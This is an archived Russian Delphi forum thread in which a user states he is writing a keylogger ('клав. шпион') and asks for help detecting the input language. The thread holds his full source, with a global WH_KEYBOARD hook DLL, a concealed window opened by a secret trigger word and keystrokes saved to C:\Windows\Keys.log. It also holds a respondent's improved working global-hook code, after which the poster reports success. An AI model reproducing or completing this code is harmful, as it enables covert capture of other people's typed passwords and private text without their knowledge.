Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2009.11.22;
Скачать: [xml.tar.bz2];

Вниз

Как узнать язык в окне?   Найти похожие ветки 

 
Вредитель   (2007-12-09 12:01) [0]

Нужен способ узнать язык ввода в окне, от которого приходит  message, пойманное ловушкой WH_KEYBOARD.


 
Leonid Troyanovsky ©   (2007-12-09 12:16) [1]


> Вредитель   (09.12.07 12:01)

Вредителям, IMHO, язык излишен.

GetKeyboardLayout, RTFM

--
Regards, LVT.


 
Вредитель   (2007-12-09 12:56) [2]


var hl:HKL;
hl:=GetKeyboardLayout(msg.hwnd);
 if hl=LANG_ENGLISH then ShowMessage("!!!");

msg.hwnd--не прет!
Чё заместо него должно быть?


 
Leonid Troyanovsky ©   (2007-12-09 13:11) [3]


> Вредитель   (09.12.07 12:56) [2]

> Чё заместо него должно быть?

http://msdn2.microsoft.com/en-us/library/ms646296.aspx

--
Regards, LVT.


 
Вредитель   (2007-12-10 16:16) [4]

hl:=GetKeyboardLayout(0);
 if hl=LANG_ENGLISH then ShowMessage("!!!");

Вроде так, но не пашет! А должно -- все как на MSDN!


 
clickmaker ©   (2007-12-10 16:24) [5]

if Word(hl)=LANG_ENGLISH then


 
Rouse_ ©   (2007-12-10 16:24) [6]

вот тебе кусочек кода, на вход идет AHandle:

   WndInfo.dwThreadID :=
     GetWindowThreadProcessId(AHandle, WndInfo.dwProcessID);
   AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID, True);
   VerLanguageName(GetKeyboardLayout(WndInfo.dwThreadID) and $FFFF,
     WndInfo.szLayoutName, MAXCHAR);
   AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID, False);


WndInfo.szLayoutName - содержит описание раскладки


 
Вредитель   (2007-12-10 16:58) [7]

Извините, может туплю, но че такое AHandle? У просто Handle параметров нет!


 
Rouse_ ©   (2007-12-10 17:01) [8]


> но че такое AHandle?

Это переменная, в которую должен быть помещен хэнд окна, для которого ты пытаешся получить раскладку. В справке прочти описание по данным функциях - должно помочь.


 
Вредитель   (2007-12-10 17:30) [9]

В справке нет, а пишу клав. шпиона, все готово, кроме языков!!!


 
Германн ©   (2007-12-10 17:40) [10]


> Вредитель   (10.12.07 17:30) [9]
>
> В справке нет

Не ври. В справке все есть.


 
Вредитель ©   (2007-12-10 18:40) [11]

В какой справке?
Если можно, кто нибудь киньте мне на mail этот раздел, я весь HD проискал, у меня нет!


 
Rouse_ ©   (2007-12-10 19:27) [12]

Первая функция: http://msdn2.microsoft.com/en-us/library/ms633522.aspx
Вторая: http://msdn2.microsoft.com/en-us/library/ms681956.aspx
Третья: http://msdn2.microsoft.com/en-us/library/ms647463.aspx
Четвертая: http://msdn2.microsoft.com/en-us/library/ms646296.aspx

Ну а это тебе в список самых любимых ссылок (Online MSDN): http://msdn.microsoft.com/library/default.asp


 
Германн ©   (2007-12-10 22:03) [13]


> Вредитель ©   (10.12.07 18:40) [11]
>
> В какой справке?
>

Лучше конечно читать MSDN, как предагается в [12].
Но возвращаясь к вопросу р встроенной в Дельфи справке я не верю что на твоем HD нет папки X:\Program Files\Common Files\Borland Shared\MSHelp


 
Вредитель ©   (2007-12-11 12:16) [14]


> WndInfo.dwThreadID :=      GetWindowThreadProcessId(AHandle,
>  WndInfo.dwProcessID);    AttachThreadInput(GetCurrentThreadId,
>  WndInfo.dwThreadID, True);    VerLanguageName(GetKeyboardLayout(WndInfo.
> dwThreadID) and $FFFF,      WndInfo.szLayoutName, MAXCHAR);
>     AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID,
>  False);

На MSDN все нашел, спасибо.
Но при первом же  message DLL виснет.


 
Rouse_ ©   (2007-12-11 13:26) [15]

Для вызова данного кода библиотека не нужна :)


 
Вредитель ©   (2007-12-11 13:59) [16]

Вызывается он из формы.
Вся конструкция такова: из длл ставится хук WH_KEYBOARD с указанием на процедуру Proc. Proc отсылает пойманное message в Form1 программы Prog. A Form1.OnMessage=messageproc.

var
 lang:pansiChar;
 pid:Cardinal;
 s:String;
 
procedure TForm1.messageproc( var msg: tmsg; var handled: boolean);
begin
if (msg.message = wm_kbdhook{константа в unit1 и в DLL=0}) then begin
 s:=GetKeyName(msg.lParam){Это моя процедура для узнавания keyname};
 if (IsKeyDown(VK_SHIFT)) then begin {Unit keyboard из GLScene}
  s:=AnsiUpperCase(s);
 end;

 pid :=
    GetWindowThreadProcessId(msg.hwnd, pid);
  AttachThreadInput(GetCurrentThreadId, pid, True);
  VerLanguageName(GetKeyboardLayout(pid) and $FFFF,
    lang, MAXCHAR);
  AttachThreadInput(GetCurrentThreadId, pid, False);
             
 ShowMessage(lang);

 memo1.Text:=memo1.Text+s;
 handled:=true;
end;


И чего не так?


 
Rouse_ ©   (2007-12-11 14:13) [17]

Это что?
procedure TForm1.messageproc( var msg: tmsg; var handled: boolean);


 
Вредитель ©   (2007-12-11 14:17) [18]

Это обработчик всех messages, которые приходят форме!


 
Rouse_ ©   (2007-12-11 14:21) [19]

Давай код целиком


 
Вредитель ©   (2007-12-11 14:34) [20]

unit Form;

interface

uses
windows, messages,keytostr,keyboard, sysutils, classes, graphics, controls, forms, dialogs,
stdctrls, ExtCtrls;

const
swm_kbdhook = "swm_kbdhook";

var
wm_kbdhook : integer = 0;

type
 TForm1 = class(TForm)
   Memo1: TMemo;
   Panel1: TPanel;
   Image1: TImage;
   Panel2: TPanel;
   Image2: TImage;
   Panel3: TPanel;
   Image3: TImage;
   procedure FormDestroy(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure Image1Click(Sender: TObject);
   procedure Image2Click(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
   procedure Image3Click(Sender: TObject);
 private
   procedure ShowGeneralWindow;
   procedure apponmessage( var msg: tmsg; var handled: boolean);
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
 st:String;
 lang:pansiChar;
 pid:Cardinal;
 s:String;
 hl:hkl;
 ipressed:boolean=false;
 t:boolean=false;
 counter:integer;
implementation

uses StrUtils;

{$R *.dfm}
{$WARN SYMBOL_PLATFORM OFF}

 function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
external "kbdhook.dll" index 1;

function hookkeyboard(
hook : boolean ) : boolean; stdcall;
external "kbdhook.dll" index 2;

procedure TForm1.apponmessage( var msg: tmsg; var handled: boolean);
begin
if (msg.message = wm_kbdhook) then begin
 s:=GetKeyName(msg.lParam);
 if (IsKeyDown(VK_SHIFT)) then begin
  s:=AnsiUpperCase(s);
 end;

  pid :=
   GetWindowThreadProcessId(msg.hwnd, pid);
 AttachThreadInput(GetCurrentThreadId, pid, True);
 VerLanguageName(GetKeyboardLayout(pid) and $FFFF,
   lang, MAXCHAR);
 AttachThreadInput(GetCurrentThreadId, pid, False);

 if hl=lang_english then ShowMessage(lang);

 memo1.Text:=memo1.Text+s;
 handled:=true;
   begin
   if ipressed=true then begin
    st:=st+s;
    counter:=counter+1;
   end;
     if s="ш" then begin
      ipressed:=true;
      st:=s;
      counter:=1;
     end;
    end;

   if (counter=5+(5-1)) then begin
    if st="шпион" then
     begin
      ShowGeneralWindow;
      st:="";
      ipressed:=false;
     end
    else
     begin
      st:="";
      ipressed:=false;
     end;
   end;

end;
end;

procedure TForm1.ShowGeneralWindow;
var i:byte;
begin
Form1.Left:=((Screen.Width div 2)-(Form1.Width div 2));
Form1.Top:=((Screen.Height div 2)-(Form1.Height div 2));
SetFocus;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
hookkeyboard( false );
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
application.onmessage := apponmessage;
hookkeyboard(true);
Form1.Left:=-600;
end;

procedure TForm1.Image1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Image2Click(Sender: TObject);
begin
memo1.Lines.SaveToFile("C:\Windows\Keys.log");
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
memo1.Lines.SaveToFile("C:\Windows\Keys.log");
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
Form1.Left:=-600;
end;

end.

program Loader;

uses
 Forms,windows,
 Form in "Form.pas" {Form1};

{$R *.res}

var
EStyle : integer;

begin
 Application.Initialize;
 EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
EStyle or WS_EX_TOOLWINDOW);
 Application.CreateForm(TForm1, Form1);
 Application.Run;
end.

library kbdhook;

{ Important note about DLL memory management: ShareMem must be the
 first unit in your library"s USES clause AND your project"s (select
 Project-View Source) USES clause if your DLL exports any procedures or
 functions that pass strings as parameters or function results. This
 applies to all strings passed to and from your DLL--even those that
 are nested in records and classes. ShareMem is the interface unit to
 the BORLNDMM.DLL shared memory manager, which must be deployed along
 with your DLL. To avoid using BORLNDMM.DLL, pass string information
 using PChar or ShortString parameters. }

uses
 sysutils,
 windows,
 messages;

{$R *.res}
{$WARN SYMBOL_PLATFORM OFF}

const
swm_kbdhook = "swm_kbdhook";
var
wm_kbdhook : integer = 0;
var
hookhandle : thandle = 0;

function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else begin
postmessage( hwnd_broadcast, wm_kbdhook, wparam, lparam );
result := 0
end;
end;

function hookkeyboard( hook : boolean ) : boolean; stdcall;
begin
result := false;
if hook then begin
if hookhandle = 0 then
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,
0 );
result := ( hookhandle <> 0 );
end
else
begin
if hookhandle <> 0 then begin
unhookwindowshookex( hookhandle );
hookhandle := 0;
result := true;
end;
end;
end;

exports
keyboardproc index 1,
hookkeyboard index 2;

begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
end.

function GetKeyName(key:longint):String ;
begin
case key of
1114113:
 begin
  Result:=("ц");
 end;
 1048577:
 begin
  Result:=("й");
 end;
 1179649:
и т.д.
....
....
....
....
 720897:
 begin
  Result:=("0");
 end;
 3735553:
  Result:=(" ");
end;
end;


 
Leonid Troyanovsky ©   (2007-12-11 14:58) [21]


> Вредитель ©   (11.12.07 13:59) [16]

> И чего не так?

Для lang память выделять будет Пушкин?

Во-ще-то, человека увлекающегося программированием
приведенный код позорит, особенно,
pid or wm_kbdhook{константа в unit1 и в DLL=0})

--
Regards, LVT.


 
Leonid Troyanovsky ©   (2007-12-11 15:16) [22]


> Вредитель ©   (11.12.07 14:34) [20]

Какой ужас.

--
Regards, LVT.


 
вредитель ©   (2007-12-11 15:24) [23]

почему он меня позорит, не понимаю, а там, где if hl then-не оттуда скопировал, там просто showmessage!


 
вредитель ©   (2007-12-11 15:46) [24]

и в чем ужас? я знаю, что там много чего можно заменить и убрать, но мне бы сделать, чтобы работало, а уж потом остальное!


 
Leonid Troyanovsky ©   (2007-12-11 16:26) [25]


> вредитель ©   (11.12.07 15:46) [24]

> и в чем ужас? я знаю, что там много чего можно заменить
> и убрать, но мне бы сделать,

Приводить нужно необходимое количество кода,
достаточное для воспроизведения проблемы.

Достаточность мы понимаем так, что если нашелся
желающий воспроизвести проблему, то ему достачно
легких движений руки для вставки кода в редактор.

Если проблема не связана с dll, то и нечего на этом
этапе ее обсуждать.

Кста, как там у нас с Александром Сергеевичем?

--
Regards, LVT.


 
вредитель ©   (2007-12-11 16:41) [26]

никак. раньше всегда пользовался PAnsiChar без выделения памяти... и даже не в курсе, как это делается(да простят  меня, молодого и неопытного).


 
Leonid Troyanovsky ©   (2007-12-11 17:14) [27]


> вредитель ©   (11.12.07 16:41) [26]

> никак. раньше всегда пользовался PAnsiChar без выделения
> памяти... и даже не в курсе, как это делается(да простят
>  меня, молодого и неопытного).

Добро пожаловать к Начинающим.
Все остальное пока, IMHO, смысла не имеет.

--
Regards, LVT.


 
вредитель ©   (2007-12-11 17:56) [28]

getmem, freemem!


 
Rouse_ ©   (2007-12-11 17:58) [29]

Давай лучше я вот так сделаю :)
А ты сравни с тем что у тебя :)

library HookDLL;

uses
 Windows,
 Messages,
 SysUtils;

const
 GlobMapID = "Global Keyboard Hook Demo {917C91AA-88D5-4134-BB91-15161728594D}";

type
 PShareInf = ^TShareInf;
 TShareInf = record  
   AppWndHandle: HWND;
   OldHookHandle: HHOOK;
   hm:THandle;
 end;

var
 MapHandle: THandle = 0;
 ShareInf: PShareInf = nil;
 ptr:PByteArray;

procedure DLLEntryPoint(dwReason: DWORD); //stdcall;  <- вот это как раз не нужно...
begin
 case dwReason Of
   DLL_PROCESS_ATTACH:
   begin
     // Все данные во избежании разрыва цепочки хуков храним в отображаемом в память процесса файле,
     // только тогда все экземпляры хука будут владеть достоверной информацией
     MapHandle:=CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0, SizeOf(TShareInf), GlobMapID);
     ShareInf:=MapViewOfFile(MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf(TShareInf));
   end;
   DLL_PROCESS_DETACH:
   begin
     UnMapViewOfFile(ShareInf);
     CloseHandle(MapHandle);
   end;
 end;
end;

function KeyboardHook(Code: Integer; WParam: WPARAM; LParam: LPARAM): LRESULT;stdcall;
begin
 if Code in [HC_ACTION, HC_NOREMOVE] then
   SendMessage(ShareInf^.AppWndHandle, WM_USER, WParam, Code); // нотифицируем наше приложение о нажатии клавиши
 Result := CallNextHookEx(ShareInf^.OldHookHandle, Code, WParam, LParam); // вызываем след. ловушку
end;

function SetKeyboardHook(Wnd: HWND): BOOL; stdcall;
begin
 if ShareInf <> nil then
 begin
   ShareInf^.AppWndHandle := Wnd;
   ShareInf^.OldHookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, HInstance, 0); // <- Обратите внимание, не допускаем главной ошибки
   Result:=ShareInf^.OldHookHandle <> 0;
 end
 else
   Result:=False;
end;

function RemoveKeyboardHook: BOOL; stdcall;
begin
 Result := UnhookWindowsHookEx(ShareInf^.OldHookHandle);
 CloseHandle(ShareInf^.hm);
end;

exports
 SetKeyboardHook, RemoveKeyboardHook;

begin
 DLLProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.


А это приложение :)

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 Tmainform = class(TForm)
   Memo1: TMemo;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
   { Private declarations }
 public
  procedure WMUser(var Message: TMessage); message WM_USER;
 end;

 function SetKeyboardHook(Wnd: HWND): BOOL; stdcall;
   external "HookDLL.dll" name "SetKeyboardHook";
 function RemoveKeyboardHook: BOOL; stdcall;
   external "HookDLL.dll" name "RemoveKeyboardHook";

var
 mainform: Tmainform;

implementation

{$R *.dfm}

procedure TMainForm.WMUser(var Message: TMessage);
begin
 Memo1.Lines.Add("Code: " + IntToStr(Message.WParam) + ": " + Chr(Message.WParam));
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
 if not SetKeyboardHook(Handle) Then
   MessageBox(Handle, "Unable to set hook", PChar(Application.Title), MB_OK OR MB_ICONHAND);
end;

procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 if not RemoveKeyboardHook Then
   MessageBox(Handle, "Unable to remove hook", PChar(Application.Title), MB_OK OR MB_ICONHAND);
end;

end.


 
вредитель ©   (2007-12-11 20:14) [30]

Сравнению не поддается. Leonid Troyanskiy сказал ужас, я думаю, изза неразбитости кода на процедуры, полусумашедшево механизма показа формы. но оно работает! Ф-ия char не показывает  английские точки запятые,и т. д.    после выделения памяти все заработало, так что за всё спасибо!


 
имя   (2008-10-03 00:37) [31]

Удалено модератором


 
имя   (2008-10-03 06:12) [32]

Удалено модератором


 
имя   (2008-10-03 06:13) [33]

Удалено модератором



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2009.11.22;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.56 MB
Время: 0.008 c
2-1254829215
den49
2009-10-06 15:40
2009.11.22
Работа с потоками


15-1253824205
Юрий
2009-09-25 00:30
2009.11.22
С днем рождения ! 25 сентября 2009 пятница


3-1229490448
Sirus
2008-12-17 08:07
2009.11.22
Рекурсивный внешний ключ на саму запись


2-1255069689
Xmen
2009-10-09 10:28
2009.11.22
Работа с дисками


15-1254083412
Юрий
2009-09-28 00:30
2009.11.22
С днем рождения ! 28 сентября 2009 понедельник





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский